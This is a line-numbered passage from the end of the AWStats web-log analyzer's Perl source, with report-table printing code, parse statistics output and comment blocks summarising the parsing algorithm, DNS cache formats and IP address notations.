. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
19474
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19477
${ '_section_' . $extranum . '_k' }{$key} )
19480
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19483
${ '_section_' . $extranum . '_l' }{$key}
19485
${ '_section_' . $extranum . '_l' }{$key}, 1 )
19494
# If we ask average or sum, we loop on all other records
19495
if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
19497
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
19498
if ( $keysinkeylist{$_} ) { next; }
19499
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
19500
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
19501
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
19507
if ( $ExtraAddAverageRow[$extranum] ) {
19509
print "<td class=\"aws\"><b>$Message[96]</b></td>";
19510
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19512
. ( $count ? ( $total_p / $count ) : " " ) . "</td>";
19514
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19516
. ( $count ? ( $total_h / $count ) : " " ) . "</td>";
19518
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19521
$count ? Format_Bytes( $total_k / $count ) : " " )
19524
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19525
print "<td> </td>";
19531
if ( $ExtraAddSumRow[$extranum] ) {
19533
print "<td class=\"aws\"><b>$Message[102]</b></td>";
19534
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19535
print "<td>" . ($total_p) . "</td>";
19537
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19538
print "<td>" . ($total_h) . "</td>";
19540
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19541
print "<td>" . Format_Bytes($total_k) . "</td>";
19543
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19544
print "<td> </td>";
19555
print "Jumped lines in file: $lastlinenb\n";
19556
if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
19557
print "Parsed lines in file: $NbOfLinesParsed\n";
19558
print " Found $NbOfLinesDropped dropped records,\n";
19559
print " Found $NbOfLinesCorrupted corrupted records,\n";
19560
print " Found $NbOfOldLines old records,\n";
19561
print " Found $NbOfNewLines new qualified records.\n";
19566
0; # Do not remove this line
19568
#-------------------------------------------------------
19569
# ALGORITHM SUMMARY
19572
# Check_Config() and Init variables
19573
# if 'frame not index'
19574
# &Read_Language_Data($Lang);
19575
# if 'frame not mainleft'
19576
# &Read_Ref_Data();
19581
# We create/update tmp file with
19582
# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
19583
# Rename the tmp file
19588
# Get last history file name
19589
# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
19590
# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
19592
# &Init_HashArray()
19595
# Loop on each new line in log file
19596
# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
19597
# If line corrupted, skip --> next on loop
19598
# Drop wrong virtual host --> next on loop
19599
# Drop wrong method/protocol --> next on loop
19600
# Check date --> next on loop
19601
# If line older than $LastLine, skip --> next on loop
19603
# $LastLine = time or record
19604
# Skip if url is /robots.txt --> next on loop
19605
# Skip line for @SkipHosts --> next on loop
19606
# Skip line for @SkipFiles --> next on loop
19607
# Skip line for @SkipUserAgent --> next on loop
19608
# Skip line for not @OnlyHosts --> next on loop
19609
# Skip line for not @OnlyUsers --> next on loop
19610
# Skip line for not @OnlyFiles --> next on loop
19611
# Skip line for not @OnlyUserAgent --> next on loop
19612
# So it's new line approved
19613
# If other month/year, create/update tmp file and purge data arrays with
19614
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
19615
# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
19616
# Define PageBool and extension
19617
# Analyze: Misc tracker --> complete %misc
19618
# Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
19619
# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
19620
# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
19621
# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
19622
# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
19623
# If (!countedtraffic) Analyze: File types - Compression
19624
# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
19625
# If (!countedtraffic) Analyze: Login
19626
# If (!countedtraffic) Do DNS Lookup
19627
# If (!countedtraffic) Analyze: Country
19628
# If (!countedtraffic) Analyze: Host - Url - Session
19629
# If (!countedtraffic) Analyze: Browser - OS
19630
# If (!countedtraffic) Analyze: Referer
19631
# If (!countedtraffic) Analyze: EMail
19633
# Analyze: Extra (must be after 'Define a clean Url and Query')
19634
# If too many records, we flush data arrays with
19635
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
19638
# Create/update tmp file
19639
# Seek to lastlineoffset in logfile to read and get last line into $_
19640
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
19641
# Rename all created tmp files
19644
# &Init_HashArray()
19647
# Loop for each month of required year
19648
# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
19650
# Show data arrays in HTML page
19653
#-------------------------------------------------------
19655
#-------------------------------------------------------
19656
# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
19657
# Format /etc/hosts x.y.z.w hostname
19658
# Format analog UT/60 x.y.z.w hostname
19659
#-------------------------------------------------------
19661
#-------------------------------------------------------
19662
# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
19664
# 13.1.68.3 IPv4 (d.d.d.d)
19665
# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
19667
# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
19668
# ::FFFF:13.1.68.3 IPv6
19670
# 1070:0:0:0:0:800:200C:417B IPv6
19671
# 1070:0:0:0:0:800:200C:417B IPv6
19672
# 1070::800:200C:417B IPv6
19673
#-------------------------------------------------------